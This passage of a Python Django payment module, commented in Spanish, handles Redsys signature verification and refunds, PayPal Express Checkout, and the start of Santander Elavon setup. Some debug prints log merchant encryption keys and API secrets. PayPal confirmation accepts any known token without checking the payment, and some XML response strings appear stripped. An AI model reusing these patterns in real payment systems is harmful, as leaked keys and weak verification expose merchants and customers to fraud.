etree.fromstring(xml_content)\n\n # Almacén de operaciones\n try:\n ds_order = root.xpath(\"//Message/Request/Ds_Order/text()\")[0]\n ds_authorisationcode = root.xpath(\"//Message/Request/Ds_AuthorisationCode/text()\")[0]\n ds_response = root.xpath(\"//Message/Request/Ds_Response/text()\")[0]\n\n operation = VPOSPaymentOperation.objects.get(operation_number=ds_order)\n operation.confirmation_data = {\"GET\": \"\", \"POST\": xml_content}\n operation.confirmation_code = ds_order\n operation.response_code = VPOSRedsys._format_ds_response_code(ds_response)\n operation.save()\n dlprint(\"Operation {0} actualizada en _receiveConfirmationSOAP()\".format(operation.operation_number))\n vpos = operation.virtual_point_of_sale\n except VPOSPaymentOperation.DoesNotExist:\n # Si no existe la operación, están intentando\n # cargar una operación inexistente\n return False\n\n # Iniciamos el delegado y la operación, esto es fundamental\n # para luego calcular la firma\n vpos._init_delegated()\n vpos.operation = operation\n\n ## Iniciamos los valores recibidos en el delegado\n\n # Contenido completo de ... , necesario posteriormente para cálculo de firma\n soap_request = etree.tostring(root.xpath(\"//Message/Request\")[0])\n # corrige autocierre de etuqueta y entrecomillado de atributos. Para la comprobación de la firma,\n # la etiqueta debe tener apertura y cierre y el atributo va entre comilla simple\n soap_request = soap_request.replace(\" \", \" \", 1).replace('\"',\n \"'\")\n vpos.delegated.soap_request = soap_request\n dlprint(u\"Request:\" + vpos.delegated.soap_request)\n\n # Firma enviada por RedSys, que más tarde compararemos con la generada por el comercio\n vpos.delegated.firma = root.xpath(\"//Message/Signature/text()\")[0]\n dlprint(u\"Signature:\" + vpos.delegated.firma)\n\n # Código que indica el tipo de transacción\n vpos.delegated.ds_response = root.xpath(\"//Message/Request/Ds_Response/text()\")[0]\n\n return vpos.delegated\n\n ####################################################################\n ## Paso 3.2. Verifica que los datos enviados desde\n ## la pasarela de pago identifiquen a una operación de compra y un\n ## pago autorizado.\n def verifyConfirmation(self):\n firma_calculada = self._verification_signature()\n dlprint(\"Firma calculada \" + firma_calculada)\n dlprint(\"Firma recibida \" + self.firma)\n\n # Traducir caracteres de la firma recibida '-' y '_' al alfabeto base64\n firma_traducida = self.firma.replace(\"-\", \"+\").replace(\"_\", \"/\")\n if self.firma != firma_traducida:\n dlprint(\"Firma traducida \" + firma_traducida)\n\n # Comprueba si el envío es correcto\n if firma_traducida != firma_calculada:\n dlprint(\"Las firmas no coinciden\")\n return False\n else:\n dlprint(\"Firma verificada correctamente\")\n\n # Comprobar que el resultado se corresponde a un pago autorizado\n # por RedSys. Los pagos autorizados son todos los Ds_Response entre\n # 0000 y 0099 [manual TPV Virtual SIS v1.0, pág. 31]\n if len(self.ds_response) != 4 or self.ds_response.isdigit() == False or self.ds_response[:2] != \"00\":\n dlprint(u\"Transacción no autorizada por RedSys. Ds_Response es {0} (no está entre 0000-0099)\".format(\n self.ds_response))\n return False\n\n # Todo OK\n return True\n\n ####################################################################\n ## Paso 3.3a. Realiza el cobro y genera la respuesta a la pasarela y\n ## comunicamos con la pasarela de pago para que marque la operación\n ## como pagada. Sólo se usa en CECA\n def charge(self):\n if self.soap_request:\n dlprint(\"responseOk SOAP\")\n # Respuesta a notificación HTTP SOAP\n response = 'OK '\n\n dlprint(\"FIRMAR RESPUESTA {response} CON CLAVE DE CIFRADO {key}\".format(response=response,\n key=self.encryption_key))\n signature = self._redsys_hmac_sha256_signature(response)\n\n message = \"{response}{signature} \".format(response=response,\n signature=signature)\n dlprint(\"MENSAJE RESPUESTA CON FIRMA {0}\".format(message))\n\n # El siguiente mensaje NO debe tener espacios en blanco ni saltos de línea entre las marcas XML\n out = \"{0} \"\n out = out.format(cgi.escape(message))\n dlprint(\"RESPUESTA SOAP:\" + out)\n\n return HttpResponse(out, \"text/xml\")\n else:\n dlprint(u\"responseOk HTTP POST (respuesta vacía)\")\n # Respuesta a notificación HTTP POST\n # En RedSys no se exige una respuesta, por parte del comercio, para verificar\n # la operación, pasamos una respuesta vacia\n return HttpResponse(\"\")\n\n ####################################################################\n ## Paso 3.3b. Si ha habido un error en el pago, se ha de dar una\n ## respuesta negativa a la pasarela bancaria.\n def responseNok(self, **kwargs):\n if self.soap_request:\n dlprint(\"responseOk SOAP\")\n # Respuesta a notificación HTTP SOAP\n response = 'KO '\n\n dlprint(\"FIRMAR RESPUESTA {response} CON CLAVE DE CIFRADO {key}\".format(response=response,\n key=self.encryption_key))\n signature = self._redsys_hmac_sha256_signature(response)\n\n message = \"{response}{signature} \".format(response=response,\n signature=signature)\n dlprint(\"MENSAJE RESPUESTA CON FIRMA {0}\".format(message))\n\n # El siguiente mensaje NO debe tener espacios en blanco ni saltos de línea entre las marcas XML\n out = \"{0} \"\n out = out.format(cgi.escape(message))\n dlprint(\"RESPUESTA SOAP:\" + out)\n\n return HttpResponse(out, \"text/xml\")\n else:\n dlprint(u\"responseNok HTTP POST (respuesta vacía)\")\n # Respuesta a notificación HTTP POST\n # En RedSys no se exige una respuesta, por parte del comercio, para verificar\n # que la operación ha sido negativa, pasamos una respuesta vacia\n return HttpResponse(\"\")\n\n def refund(self, refund_amount, description):\n\n \"\"\"\n Implementación particular del mátodo de devolución para el TPV de Redsys.\n Se ocupa de preparar un mensaje http con los parámetros adecuados.\n Realizar la comunicación con los parámetros dados y la codificación necesaria.\n Interpretar la respuesta HTML, buscando etiquetas DOM que informen si la operación\n se realiza correctamente o con error.\n\n NOTA IMPORTANTE: La busqueda de etiquetas en el arbol DOM es sensible a posibles cambios en la plataforma Redsys,\n por lo tanto en caso de no encontrar ninguna etiqueta de las posibles esperadas\n (noSePuedeRealizarOperacion o operacionAceptada), se lanza una excepción del tipo 'VPOSOperationException'.\n\n Es responsibilidad del programador gestionar adecuadamente esta excepción desde la vista\n y en caso que se produzca, avisar a los desarrolladores responsables del módulo 'DjangoVirtualPost'\n para su actualización.\n\n :param payment_operation: Operación de pago asociada a la devolución.\n :param refund_amount: Cantidad de la devolución.\n :param description: Motivo o comentario de la devolución.\n :return: True | False según se complete la operación con éxito.\n \"\"\"\n\n # Modificamos el tipo de operación para indicar que la transacción\n # es de tipo devolución automática.\n # URL de pago según el entorno\n self.url = self.REDSYS_URL[self.parent.environment]\n\n # IMPORTANTE: Este es el código de operación para hacer devoluciones.\n self.transaction_type = 3\n\n # Formato para Importe: según redsys, ha de tener un formato de entero positivo, con las dos últimas posiciones\n # ocupadas por los decimales\n self.importe = \"{0:.2f}\".format(float(refund_amount)).replace(\".\", \"\")\n\n # Idioma de la pasarela, por defecto es español, tomamos\n # el idioma actual y le asignamos éste\n self.idioma = self.IDIOMAS[\"es\"]\n lang = translation.get_language()\n if lang in self.IDIOMAS:\n self.idioma = self.IDIOMAS[lang]\n\n order_data = {\n # Indica el importe de la venta\n \"DS_MERCHANT_AMOUNT\": self.importe,\n\n # Indica el número de operacion\n \"DS_MERCHANT_ORDER\": self.parent.operation.operation_number,\n\n # Código FUC asignado al comercio\n \"DS_MERCHANT_MERCHANTCODE\": self.merchant_code,\n\n # Indica el tipo de moneda a usar\n \"DS_MERCHANT_CURRENCY\": self.tipo_moneda,\n\n # Indica que tipo de transacción se utiliza\n \"DS_MERCHANT_TRANSACTIONTYPE\": self.transaction_type,\n\n # Indica el terminal\n \"DS_MERCHANT_TERMINAL\": self.terminal_id,\n\n # Obligatorio si se tiene confirmación online.\n \"DS_MERCHANT_MERCHANTURL\": self.merchant_response_url,\n\n # URL a la que se redirige al usuario en caso de que la venta haya sido satisfactoria\n \"DS_MERCHANT_URLOK\": self.parent.operation.payment.url_ok,\n\n # URL a la que se redirige al usuario en caso de que la venta NO haya sido satisfactoria\n \"DS_MERCHANT_URLKO\": self.parent.operation.payment.url_nok,\n\n # Se mostrará al titular en la pantalla de confirmación de la compra\n \"DS_MERCHANT_PRODUCTDESCRIPTION\": description,\n\n # Indica el valor del idioma\n \"DS_MERCHANT_CONSUMERLANGUAGE\": self.idioma,\n\n # Representa la suma total de los importes de las cuotas\n \"DS_MERCHANT_SUMTOTAL\": self.importe,\n }\n\n json_order_data = json.dumps(order_data)\n packed_order_data = base64.b64encode(json_order_data)\n\n data = {\n \"Ds_SignatureVersion\": \"HMAC_SHA256_V1\",\n \"Ds_MerchantParameters\": packed_order_data,\n \"Ds_Signature\": self._redsys_hmac_sha256_signature(packed_order_data)\n }\n\n headers = {'enctype': 'application/x-www-form-urlencoded'}\n\n # Realizamos petición POST con los datos de la operación y las cabeceras necesarias.\n refund_html_request = requests.post(self.url, data=data, headers=headers)\n\n # En caso de tener una respuesta 200\n if refund_html_request.status_code == 200:\n\n # Iniciamos un objeto BeautifulSoup (para poder leer los elementos del DOM del HTML recibido).\n html = BeautifulSoup(refund_html_request.text, \"html.parser\")\n\n # Buscamos elementos significativos del DOM que nos indiquen si la operación se ha realizado correctamente o no.\n refund_message_error = html.find('text', {'lngid': 'noSePuedeRealizarOperacion'})\n refund_message_ok = html.find('text', {'lngid': 'operacionAceptada'})\n\n # Cuando en el DOM del documento HTML aparece un mensaje de error.\n if refund_message_error:\n dlprint(refund_message_error)\n dlprint(u'Error realizando la operación')\n status = False\n\n # Cuando en el DOM del documento HTML aparece un mensaje de ok.\n elif refund_message_ok:\n dlprint(u'Operación realizada correctamente')\n dlprint(refund_message_error)\n status = True\n\n # No aparece mensaje de error ni de ok\n else:\n raise VPOSOperationException(\"La resupuesta HTML con la pantalla de devolución no muestra mensaje informado de forma expícita, si la operación se produce con éxito error, (revisar método 'VPOSRedsys.refund').\")\n\n # Respuesta HTTP diferente a 200\n else:\n status = False\n\n return status\n\n ####################################################################\n ## Generador de firma de mensajes\n def _redsys_hmac_sha256_signature(self, data):\n \"\"\"\n Firma la cadena de texto recibida usando 3DES y HMAC SHA-256\n\n Calcula la firma a incorporar en el formulario de pago\n :type data: str cadena de texto que se va a firmar\n :return: str cadena de texto con la firma\n \"\"\"\n\n # Obtener encryption key para el entorno actual (almacenada en self.encryption_key)\n self.__init_encryption_key__()\n dlprint(\"_redsys_hmac_sha256_signature: encryption key {0}\".format(self.encryption_key))\n\n # Decodificar firma\n encryption_key = base64.b64decode(self.encryption_key)\n\n # operation_number = bytes(self.parent.operation.operation_number)\n operation_number = bytes(self.parent.operation.operation_number)\n dlprint(\"_redsys_hmac_sha256_signature: operation_number {0}\".format(operation_number))\n\n # Rellenar cadena hasta múltiplo de 8 bytes\n if len(operation_number) % 8 != 0:\n dlprint(\n \"_redsys_hmac_sha256_signature: la longitud del operation number es {0} y necesita relleno para 3DES\".format(\n len(operation_number)))\n operation_number += bytes(\"\\x00\") * (8 - len(self.parent.operation.operation_number) % 8)\n dlprint(\"_redsys_hmac_sha256_signature: la longitud de la cadena rellenada para 3DES es de {0}\".format(\n len(operation_number)))\n\n # Generar clave de firma con 3DES y IV igual a ocho bytes con cero\n des3_obj = DES3.new(encryption_key, DES3.MODE_CBC, b\"\\x00\" * 8)\n signature_key = des3_obj.encrypt(operation_number)\n\n # Generar firma HMAC SHA-256 del mensaje.\n hash_obj = HMAC.new(key=signature_key, msg=data, digestmod=SHA256)\n digest = hash_obj.digest()\n\n # Devolver firma codificada en Base64\n signature = base64.b64encode(digest)\n dlprint(\"Firma: {0}\".format(signature))\n return signature\n\n ####################################################################\n ## Generador de firma para la verificación\n def _verification_signature(self):\n \"\"\"\n Calcula la firma de verificación, tanto para peticiones SOAP como para peticiones HTTP POST\n :rtype : str\n :return: str firma calculada\n \"\"\"\n self.__init_encryption_key__()\n\n # El método de comprobación de firma difiere según se esté procesando una notificación\n # SOAP o HTTP POST\n\n if self.soap_request:\n ## Cálculo de firma para confirmación SOAP:\n dlprint(u\"Comprobación de firma para SOAP con clave de cifrado \" + self.encryption_key)\n signature = self._redsys_hmac_sha256_signature(self.soap_request)\n else:\n ## Cálculo de firma para confirmación HTTP POST:\n dlprint(u\"Comprobación de firma para HTTP POST con clave de cifrado \" + self.encryption_key)\n signature = self._redsys_hmac_sha256_signature(self.merchant_parameters)\n\n dlprint(\"FIRMA {0}\".format(signature))\n return signature\n\n @staticmethod\n def _format_ds_response_code(ds_response):\n \"\"\"\n Formatea el mensaje asociado a un Ds_Response\n :param ds_response: str código Ds_Response\n :return: unicode mensaje formateado\n \"\"\"\n if not ds_response:\n return None\n\n if len(ds_response) == 4 and ds_response.isdigit() and ds_response[:2] == \"00\":\n message = u\"Transacción autorizada para pagos y preautorizaciones.\"\n else:\n message = VPOSRedsys.DS_RESPONSE_CODES.get(ds_response)\n\n out = u\"{0}. {1}\".format(ds_response, message)\n\n return out\n\n\n########################################################################################################################\n########################################################################################################################\n###################################################### TPV PayPal ######################################################\n########################################################################################################################\n########################################################################################################################\n\nclass VPOSPaypal(VirtualPointOfSale):\n \"\"\"Información de configuración del TPV Virtual PayPal \"\"\"\n ## Todo TPV tiene una relación con los datos generales del TPV\n parent = models.OneToOneField(VirtualPointOfSale, parent_link=True, related_name=\"+\", null=False, db_column=\"vpos_id\")\n\n # nombre de usuario para la API de Paypal\n API_username = models.CharField(max_length=60, null=False, blank=False, verbose_name=\"API_username\")\n # contraseña para la API de Paypal\n API_password = models.CharField(max_length=60, null=False, blank=False, verbose_name=\"API_password\")\n # firma para la API de Paypal\n API_signature = models.CharField(max_length=60, null=False, blank=False, verbose_name=\"API_signature\")\n # versión de la API de Paypal\n Version = models.CharField(max_length=3, null=False, blank=False, verbose_name=\"Version\")\n\n Return_url = {\n \"production\": \"http://\" + settings.ALLOWED_HOSTS[0] + \"/payment/confirm/paypal\",\n \"testing\": \"http://\" + settings.ALLOWED_HOSTS[0] + \"/payment/confirm/paypal\"\n }\n Cancel_url = {\n \"production\": \"http://\" + settings.ALLOWED_HOSTS[0] + \"/es/payment/cancel/\",\n \"testing\": \"http://\" + settings.ALLOWED_HOSTS[0] + \"/es/payment/cancel/\"\n }\n paypal_url = {\n \"production\": {\n \"api\": \"https://api-3t.paypal.com/nvp\",\n \"payment\": \"https://www.paypal.com/cgi-bin/webscr\",\n },\n \"testing\": {\n \"api\": \"https://api-3t.sandbox.paypal.com/nvp\",\n \"payment\": \"https://www.sandbox.paypal.com/cgi-bin/webscr\",\n }\n }\n\n # URL de pago que variará según el entorno\n url = None\n # Importe de la venta\n importe = None\n # Indica el número de operación\n operation_number = None\n # estado que indica si estamos en api o payment\n endpoint = \"api\"\n # Tipo de moneda usada en la operación, en este caso sera Euros\n tipo_moneda = \"978\"\n # Método de envío de formulario\n method = \"SetExpressCheckout\"\n # Versión de API de PayPal\n version = \"95\"\n # ID de la moneda\n PaymentRequest_0_CurrencyCode = \"EUR\"\n # Será siempre este valor fijo\n PaymentRequest_0_PaymentAction = \"Sale\"\n # Controla si se ha recibido la confirmación de pago del TPV y si esta es correcta.\n is_verified = False\n # Token devuelto por Paypal\n valor_token = None\n # ID del comprador devuelta por Paypal\n valor_payerID = None\n\n ## Constructor del TPV PayPal\n def __init__(self, *args, **kwargs):\n super(VPOSPaypal, self).__init__(*args, **kwargs)\n\n def __unicode__(self):\n return u\"API_username: {0}\".format(self.API_username)\n\n @classmethod\n def form(cls):\n from forms import VPOSPaypalForm\n return VPOSPaypalForm\n\n ####################################################################\n ## Paso 1.1. Configuración del pago\n def configurePayment(self, **kwargs):\n # URL de pago según el entorno\n self.url = self.paypal_url[self.parent.environment]\n\n # Formato para Importe: según paypal, ha de tener un formato con un punto decimal con exactamente\n # dos dígitos a la derecha que representa los céntimos\n self.importe = \"{0:.2f}\".format(float(self.parent.operation.amount))\n\n ####################################################################\n ## Paso 1.2. Preparación del TPV y Generación del número de operación (token)\n def setupPayment(self, operation_number=None, code_len=12):\n \"\"\"\n Inicializa el\n Obtiene el número de operación, que para el caso de Paypal será el token\n \"\"\"\n dlprint(\"Paypal.setupPayment\")\n if operation_number:\n self.token = operation_number\n dlprint(\"Rescato el operation number para esta venta {0}\".format(self.token))\n return self.token\n\n dlprint(\"El operation number no existía\")\n token_url = self.paypal_url[self.parent.environment][self.endpoint]\n dlprint(\"Attribute paypal_url \" + unicode(self.paypal_url))\n dlprint(\"Endpoint {0}\".format(self.endpoint))\n dlprint(\"Enviroment {0}\".format(self.parent.environment))\n dlprint(\"URL de envío {0}\".format(token_url))\n\n # Preparamos los campos del formulario\n query_args = {\n # Indica el método a usar\n \"METHOD\": self.method,\n # Indica la versión\n \"VERSION\": self.version,\n # Indica el usuario registrado como buyer en paypal\n \"USER\": self.API_username,\n # Indica la contraseña del usuario registrado como buyer en paypal\n \"PWD\": self.API_password,\n # Indica la firma del usuario registrado como buyer en paypal\n \"SIGNATURE\": self.API_signature,\n # Importe de la venta\n \"PAYMENTREQUEST_0_AMT\": self.importe,\n # ID de la moneda a utilizar\n \"PAYMENTREQUEST_0_CURRENCYCODE\": self.PaymentRequest_0_CurrencyCode,\n # URL donde Paypal redirige al usuario comprador después de logearse en Paypal\n \"RETURNURL\": self.Return_url[self.parent.environment],\n # URL a la que Paypal redirige al comprador si el comprador no aprueba el pago\n \"CANCELURL\": self.parent.operation.url_nok,\n # Especifíca la acción\n \"PAYMENTREQUEST_0_PAYMENTACTION\": self.PaymentRequest_0_PaymentAction,\n # Especifica la descripción de la venta\n \"L_PAYMENTREQUEST_0_NAME0\": unicode(self.parent.operation.description).encode('utf-8'),\n # Especifica el importe final de la venta\n \"L_PAYMENTREQUEST_0_AMT0\": self.parent.operation.amount\n }\n dlprint(u\"Petición por POST\")\n dlprint(query_args)\n\n # Recogemos los datos\n data = urllib.urlencode(query_args)\n dlprint(\"Recogemos los datos\")\n dlprint(data)\n # Enviamos la petición HTTP POST\n request = urllib2.Request(token_url, data)\n # Recogemos la respuesta dada, que vendrá en texto plano\n response = urllib2.urlopen(request)\n res_string = response.read()\n\n dlprint(\"Paypal responde\")\n dlprint(\"Respuesta PayPal: \" + res_string)\n\n res = urlparse.parse_qs(res_string)\n\n # Comprobamos que exista un ACK y que este no contenga el valor \"Failure\"\n if \"ACK\" in res and res[\"ACK\"][0] == \"Failure\":\n raise ValueError(u\"ERROR. La respuesta ha sido incorrecta.\")\n\n # Si no devuelve un Token, habrá un error en la venta\n if not \"TOKEN\" in res:\n raise ValueError(u\"ERROR. La respuesta no contiene token.\")\n\n # Si hay más de un token, habrá un error\n if len(res[\"TOKEN\"]) != 1:\n raise ValueError(u\"ERROR. El token no tiene un único elemento.\")\n\n self.token = res[\"TOKEN\"][0]\n dlprint(\"Todo OK el token es: \" + self.token)\n\n return self.token\n\n ####################################################################\n ## Paso 1.3. Obtiene los datos de pago\n ## Este método enviará un formulario por GET con el token dado anteriormente\n def getPaymentFormData(self):\n data = {\n \"cmd\": \"_express-checkout\",\n \"token\": self.token\n }\n form_data = {\n \"data\": data,\n \"action\": self.paypal_url[self.parent.environment][\"payment\"],\n \"method\": \"get\"\n }\n return form_data\n\n ####################################################################\n ## Paso 3.1. Obtiene el número de operación(token) y los datos que nos\n ## envíe la pasarela de pago.\n @staticmethod\n def receiveConfirmation(request, **kwargs):\n\n # Almacén de operaciones\n try:\n operation = VPOSPaymentOperation.objects.get(operation_number=request.GET.get(\"token\"))\n operation.confirmation_data = {\"GET\": request.GET.dict(), \"POST\": request.POST.dict()}\n operation.confirmation_code = request.POST.get(\"token\")\n operation.save()\n dlprint(\"Operation {0} actualizada en receiveConfirmation()\".format(operation.operation_number))\n vpos = operation.virtual_point_of_sale\n except VPOSPaymentOperation.DoesNotExist:\n # Si no existe la operación, están intentando\n # cargar una operación inexistente\n return False\n\n # Iniciamos el delegado y la operación\n vpos._init_delegated()\n vpos.operation = operation\n\n # Iniciamos los valores recibidos en el delegado\n\n # ID del comprador\n vpos.delegated.payer_id = request.GET.get(\"PayerID\")\n # Token\n vpos.delegated.token = request.GET.get(\"token\")\n\n dlprint(u\"Lo que recibimos de Paypal: \")\n dlprint(request.GET)\n return vpos.delegated\n\n ####################################################################\n ## Paso 3.2. Verifica que los datos enviados desde\n ## la pasarela de pago identifiquen a una operación de compra.\n def verifyConfirmation(self):\n # Comprueba si el envío es correcto\n # Para esto, comprobamos si hay alguna operación que tenga el mismo\n # número de operación\n self.valor_token = self.token\n self.operation_number = self.token\n # Almacenamos el valor del ID del comprador, para más tarde usarlo\n self.valor_payerID = self.payer_id\n operation = VPOSPaymentOperation.objects.filter(operation_number=self.valor_token)\n if len(operation):\n return True\n\n return False\n\n ####################################################################\n ## Paso 3.3. Realiza el cobro y genera un formulario, para comunicarnos\n ## con PayPal\n def charge(self):\n\n # Prepara los campos del formulario\n query_args = {\n 'METHOD': \"DoExpressCheckoutPayment\",\n 'USER': self.API_username,\n 'PWD': self.API_password,\n 'SIGNATURE': self.API_signature,\n 'VERSION': self.Version,\n 'TOKEN': self.operation_number,\n 'PAYERID': self.valor_payerID,\n 'PAYMENTREQUEST_0_CURRENCYCODE': self.PaymentRequest_0_CurrencyCode,\n 'PAYMENTREQUEST_0_PAYMENTACTION': self.PaymentRequest_0_PaymentAction,\n 'PAYMENTREQUEST_0_AMT': self.parent.operation.amount,\n }\n\n data = urllib.urlencode(query_args)\n # Realizamos una petición HTTP POST\n api_url = self.paypal_url[self.parent.environment][\"api\"]\n request = urllib2.Request(api_url, data)\n\n # Almacenamos la respuesta dada por PayPal\n response = urllib2.urlopen(request)\n res_string = response.read()\n res = urlparse.parse_qs(res_string)\n\n # Comprobamos que haya un ACK y que no tenga el valor de \"Failure\"\n if \"ACK\" in res and res[\"ACK\"][0] == \"Failure\":\n raise ValueError(u\"ERROR. La respuesta ha sido incorrecta.\")\n\n # Si no hay un token, entonces habrá un error\n if not \"TOKEN\" in res:\n raise ValueError(u\"ERROR. La respuesta no contiene token.\")\n\n # Si hay más de un token, habrá un error\n if len(res[\"TOKEN\"]) != 1:\n raise ValueError(u\"ERROR. El token no tiene un único elemento.\")\n\n token = res[\"TOKEN\"][0]\n\n dlprint(u\"El token es {0} y el número de operación era \".format(token, self.parent.operation.sale_code))\n\n # Si llegamos aquí, es que ha ido bien la operación, asi que redireccionamos a la url de payment_ok\n return redirect(reverse(\"payment_ok_url\", kwargs={\"sale_code\": self.parent.operation.sale_code}))\n\n ####################################################################\n ## Paso 3.3b. Si ha habido un error en el pago, redirigimos a la url correcta\n def responseNok(self, **kwargs):\n dlprint(\"responseNok\")\n # En Paypal no se exige una respuesta, por parte del comercio, para verificar\n # que la operación ha sido negativa, redireccionamos a la url de cancelación\n return redirect(reverse(\"payment_cancel_url\", kwargs={\"sale_code\": self.parent.operation.sale_code}))\n\n\n ####################################################################\n ## Paso R. (Refund) Configura el TPV en modo devolución\n ## TODO: No implementado\n def refund(self, refund_amount, description):\n raise VPOSOperationDontImplemented(u\"No se ha implementado la operación de devolución particular para Paypal.\")\n\n\n########################################################################################################################\n########################################################################################################################\n################################################# TPV Santander Elavon #################################################\n########################################################################################################################\n########################################################################################################################\n\nclass VPOSSantanderElavon(VirtualPointOfSale):\n \"\"\"Información de configuración del TPV Virtual CECA\"\"\"\n\n regex_clientid = re.compile(\"^[a-zA-Z0-9]*$\")\n regex_account = re.compile(\"^[a-zA-Z0-9.]*$\")\n regex_number = re.compile(\"^\\d*$\")\n regex_operation_number_prefix = re.compile(\"^[A-Za-z0-9]*$\")\n\n # Relación con el padre (TPV).\n # Al poner el signo \"+\" como \"related_name\" evitamos que desde el padre\n # se pueda seguir la relación hasta aquí (ya que cada uno de las clases\n # que heredan de ella estará en una tabla y sería un lío).\n parent = models.OneToOneField(VirtualPointOfSale, parent_link=True, related_name=\"+\", null=False, db_column=\"vpos_id\")\n\n # Identifica al comercio, será facilitado por la caja en el proceso de alta\n merchant_id = models.CharField(max_length=50, null=False, blank=False, verbose_name=\"MerchantID\",\n validators=[MinLengthValidator(1), MaxLengthValidator(50),\n RegexValidator(regex=regex_clientid,\n message=\"Asegúrese de que todos los caracteres son alfanuméricos\")])\n # Confirmation URL that will be used by the virtual POS\n merchant_response_url = models.URLField(max_length=64, null=False, blank=False, verbose_name=\"MerchantURL\",\n help_text=u\"Confirmation URL that will be used by the virtual POS\")\n\n # Identifica la caja, será facilitado por la caja en el proceso de alta\n account = models.CharField(max_length=30, null=False, blank=False, verbose_name=\"Account\",\n validators=[MinLengthValidator(0), MaxLengthValidator(30),\n RegexValidator(regex=regex_account,\n message=\"Asegúrese de que todos los caracteres son alfanuméricos\")])\n # Clave de cifrado\n encryption_key = models.CharField(max_length=64, null=False, blank=False, verbose_name=\"Clave secreta de cifrado\",\n validators=[MinLengthValidator(8), MaxLengthValidator(10)])\n\n # Prefijo del número de operación usado para identicar al servidor desde el que se realiza la petición\n operation_number_prefix = models.CharField(max_length=20, null=False, blank=True,\n verbose_name=\"Prefijo del número de operación\",\n validators=[MinLengthValidator(0), MaxLengthValidator(20),\n RegexValidator(regex=regex_operation_number_prefix,\n message=\"Asegúrese de sólo use caracteres alfanuméricos\")])\n\n # El TPV de Santander Elavon utiliza dos protocolos, \"Redirect\" y \"Remote\". Cada uno de ellos tiene dos entornos,\n # uno para pruebas y otro para producción\n REDIRECT_SERVICE_URL = {\n \"production\": \"https://hpp.santanderelavontpvvirtual.es/pay\",\n \"testing\": \"https://hpp.prueba.santanderelavontpvvirtual.es/pay\"\n }\n\n REMOTE_SERVICE_URL = {\n \"production\": \"https://remote.santanderelavontpvvirtual.es/remote\",\n \"testing\": \"https://remote.prueba.santanderelavontpvvirtual.es/remote\"\n }\n\n # URL de pago que variará según el entorno\n url = None\n\n # Identifica el importe de la venta, siempre será un número entero y donde los dos últimos dígitos representan los decimales\n amount = None\n\n # Tipo de moneda (forzado a Euro (EUR))\n currency = \"EUR\"\n\n # Timestamp requerido entre los datos POST enviados al servidor\n timestamp = None\n\n ####################################################################\n ## Inicia el valor de la clave de cifrado en función del entorno\n def __init_encryption_key__(self):\n # Este modelo de TPV utiliza una única clave de cifrado tanto para el entorno de pruebas como para el de\n # producción, por lo que no es necesario hacer nada especial\n pass\n\n ####################################################################\n ## Constructor del TPV Santader Elavon\n def __init__(self, *args, **kwargs):\n super(VPOSSantanderElavon, self).__init__(*args, **kwargs)\n\n def __unicode__(self):\n return self.name\n\n @classmethod\n def form(cls):\n from forms import VPOSSantanderElavonForm\n return VPOSSantanderElavonForm\n\n ####################################################################\n ## Paso 1.1. Configuración del pago\n def configurePayment(self, **kwargs):\n # URL de pago según el entorno\n self.url = {\n \"redirect\": self.REDIRECT_SERVICE_URL[self.parent.environment],\n \"remote\": self.REMOTE_SERVICE_URL[self.parent.environment]\n }\n\n # Formato para Importe: según las especificaciones, ha de tener un formato de entero positivo\n self.amount = \"{0:.2f}\".format(float(self.parent.operation.amount)).replace(\".\", \"\")\n\n # Timestamp con la hora local requerido por el servidor en formato AAAAMMDDHHMMSS\n self.timestamp = timezone.now().strftime(\"%Y%m%d%H%M%S\")\n\n ####################################################################\n ## Paso 1.2. Preparación del TPV y Generación del número de operación\n def setupPayment(self, operation_number=None, code_len=40):\n \"\"\"\n Inicializa el número de operación si no se indica uno\n explícitamente en los argumentos.\n \"\"\"\n\n if operation_number:\n return operation_number\n\n operation_number = ''\n for i in range(code_len):\n operation_number += random.choice('ABCDEFGHJKLMNPQRSTUWXYZ23456789')\n # Si en settings tenemos un prefijo del número de operación\n # se lo añadimos delante, con carácter \"-\" entre medias\n if self.operation_number_prefix:\n operation_number = self.operation_number_prefix + \"-\" + operation_number\n return operation_number[0:code_len]\n return operation_number\n\n ####################################################################\n ## Paso 1.3. Obtiene los datos de pago\n ## Este método será el que genere los campos del formulario de pago\n ## que se rellenarán desde el cliente (por Javascript)\n def getPaymentFormData(self):\n data = {\n # Identifica al comercio, será facilitado por la entidad\n \"MERCHANT_ID\": self.merchant_id,\n # Identifica al terminal, será facilitado por la entidad\n \"ACCOUNT\": self.account,\n # Identifica el número de pedido, factura, albarán, etc\n \"ORDER_ID\": self.parent.operation.operation_number,\n # Importe de la operación sin formatear. Siempre será entero con los dos últimos dígitos usados para los centimos\n \"AMOUNT\": self.amount,\n \"CURRENCY\": self.currency,\n # Marca de tiempo de la transacción\n \"TIMESTAMP\": self.timestamp,\n # Cadena de caracteres calculada por el comercio\n \"SHA1HASH\": self._post_signature(),\n # No cargar el importe de forma automática (AUTO_SETTLE_FLAG=0). En el método charge() hay que hacer una\n # llamada a un webservice XML con los datos apropiados para que el pago se haga efectivo.\n \"AUTO_SETTLE_FLAG\": \"0\",\n # URL de confirmación. Si se indica una, se sobrescribe el valor que tenga configurada la cuenta del TPV\n \"MERCHANT_RESPONSE_URL\": self.merchant_response_url\n }\n\n form_data = {\n \"data\": data,\n \"action\": self.url['redirect'],\n \"enctype\": \"application/x-www-form-urlencoded\",\n \"method\": \"post\"\n }\n\n dlprint(u\"Datos para formulario Santander Elavon: {0}\".format(form_data))\n return form_data\n\n ####################################################################\n ## Paso 3.1. Obtiene el número de operación y los datos que nos\n ## envíe la pasarela de pago.\n @staticmethod\n def receiveConfirmation(request, **kwargs):\n dlprint(u\"receiveConfirmation. Encoding:{0}\".format(request.encoding))\n\n # Almacén de operaciones\n try:\n operation = VPOSPaymentOperation.objects.get(operation_number=request.POST.get(\"ORDER_ID\"))\n operation.confirmation_data = {\"GET\": request.GET.dict(), \"POST\": request.POST.dict()}\n\n # en charge() nos harán falta tanto el AUTHCODE PASREF, por eso se meten los dos en el campo\n # operation.confirmation_code, separados por el carácter \":\"\n operation.confirmation_code = \"{pasref}:{authcode}\".format(\n pasref=request.POST.get(\"PASREF\"),\n authcode=request.POST.get(\"AUTHCODE\")\n )\n\n operation.save()\n dlprint(u\"Operation {0} actualizada en receiveConfirmation()\".format(operation.operation_number))\n vpos = operation.virtual_point_of_sale\n except VPOSPaymentOperation.DoesNotExist:\n # Si no existe la operación, están intentando\n # cargar una operación inexistente\n return False\n\n # Iniciamos el delegado y la operación, esto es fundamental\n # para luego calcular la firma\n vpos._init_delegated()\n vpos.operation = operation\n\n # Iniciamos los valores recibidos en el 